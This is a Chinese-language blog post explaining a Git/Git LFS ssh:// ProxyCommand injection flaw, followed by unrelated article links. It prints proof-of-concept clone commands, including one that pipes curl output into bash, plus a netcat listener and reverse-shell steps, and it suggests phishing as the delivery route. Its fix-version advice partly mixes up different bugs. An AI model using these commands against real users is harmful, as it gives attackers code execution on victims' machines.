Git命令执行漏洞
Git命令造成的反弹shell
漏洞描述:
Git LFS可以.lfsconfig使用LFS由存储库中的文件配置(部分),并且可以将Git LFS指向ssh://。
[lfs]
url = ssh://-oProxyCommand= some-command
当使用这样的.lfsconfig文件克隆存储库时,使用LFS插件的Git将尝试调用ssh以从主机获取LFS对象 -oProxyCommand=some-command。然而,SSH会将该主机名解释为一个-o选项,并随后尝试调用some-command以建立连接。
这样的话,可以通过克隆存储库的Git LFS客户端的精心设计的存储库来执行任意命令。
通过在新项目中导入存储库,ssh://可以在GitLab主机上执行URL服务器端代码执行。
利用方式:
远程钓鱼,社工
恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码。
漏洞证明:
反弹计算器
git clone ssh://-oProxyCommand=gnome-calculator/wat

进一步利用
本机测试环境
先建立监听
nc -vlp
利用git clone 获取镜像库
git clone ssh://-oProxyCommand='curl 127.0.0.1:9999 | bash'/xx
命令被成功执行

建立连接之后,尝试执行反弹shell命令,同时监听新的端口,完成反弹shell。

漏洞修复建议(或缓解措施):
Git:升级到Git v2.14.1版本
Apache Subversion:升级到Subversion 1.8.19、Subversion 1.9.7版本
Mercurial:升级到Mercurial 4.3 and 4.2.3.版本
参考文章:
https://help.aliyun.com/knowledge_detail/57887.html
http://bobao.360.cn/news/detail/4260.html?spm=5176.7757887.2.2.IkQv67
Git命令执行漏洞的更多相关文章
- FastJson远程命令执行漏洞学习笔记
		FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ... 
- HFS远程命令执行漏洞入侵抓鸡黑阔服务器
		先来科普一下: HFS是什么? hfs网络文件服务器 2.3是专为个人用户所设计的HTTP档案系统,如果您觉得架设FTP Server太麻烦,那么这个软件可以提供您更方便的网络文件传输系统,下载后无须 ... 
- ASP代码审计 -4.命令执行漏洞总结
		命令执行漏洞: 保存为cmd.asp,提交链接: http://localhost/cmd.asp?ip=127.0.0.1 即可执行命令 <%ip=request("ip" ... 
- Samba 4.x.x全版本存在命令执行漏洞
		Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ... 
- 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞
		手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ... 
- JBOSSAS 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
		本文主要记录一下JBOSSAS 5.x/6.x 反序列化命令执行漏洞的测试过程 仅供学习 文中利用到漏洞环境由phith0n维护: JBoss 5.x/6.x 反序列化漏洞(CVE-2017-1214 ... 
- Kali学习笔记30:身份认证与命令执行漏洞
		文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 实验环境: Kali机器:192.168.163.13 ... 
- FlexPaper 2.3.6 远程命令执行漏洞 附Exp
		影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ... 
- ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用
		ThinkPHP5.0.21&5.1.* 代码执行和命令执行漏洞利用 ThinkPHP5.0.21&5.1.* exploit code execution and command ... 
随机推荐
- mac 修改root密码
			1.用当前用户登录进去bash: 输入命令: sudo passwd root 
- Tomcat源码组织结构
			Tomcat 源码组织结构 目录结构 这里所介绍的目录结构,是使用CATALINA-BASE变量定义的路径,如果没有通过配置多个CATALINA-BASE目录来使用多实例,则CATALINA-BASE ... 
- IO 多路复用介绍
			IO多路复用 概念说明 在进行解释之前,首先要说明几个概念: 用户空间和内核空间 进程切换 进程的阻塞 文件描述符 缓存 I/O 用户空间与内核空间 现在操作系统都是采用虚拟存储器,那么对32位操作系 ... 
- Python之字符编码与文件操作
			目录 字符编码 Python2和Python3中字符串类型的差别 文件操作 文件操作的方式 文件内光标的移动 文件修改 字符编码 什么是字符编码? ''' 字符编码就是制定的一个将人类的语言的字符与二 ... 
- MYSQL二进制5.7.安装
			一.下载MySQL二进制软件包 下载连接:MYSQ安装包下载 官网MySQL有四个版本:GA版.DMR版.RC版.Beta版.一般生产和测试环境使用GA版(常规可用的版本,经过bug修复测试) 二.安 ... 
- CentOS 7.0下使用yum安装MySQL
			CentOS7默认数据库是mariadb,配置等用着不习惯,因此决定改成mysql,但是CentOS7的yum源中默认好像是没有mysql的.为了解决这个问题,我们要先下载mysql的repo源. 1 ... 
- 安装pycrypto2.6.1报错
			C:\Users\xxx\Downloads\pycrypto-2.6.1\pycrypto-2.6.1>python setup.py install running install runn ... 
- JavaSE_坚持读源码_HashMap对象_put_Java1.7
			当你往HashMap里面put时,你其实在干什么? /** * Associates the specified value with the specified key in this map. * ... 
- ElasticSearch的插件(Plugins)介绍
			ElasticSearch的插件(Plugins)介绍 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 目前可以扩展ElasticSearch功能的插件有很多,比如:添加自定义的映 ... 
- 虚拟机部署hadoop集群准备工作之多虚拟机设置网络信息
			安装好了centos6.4(最简版)后 1,静态IP设置 查看虚拟机的网络设置信息来配置 
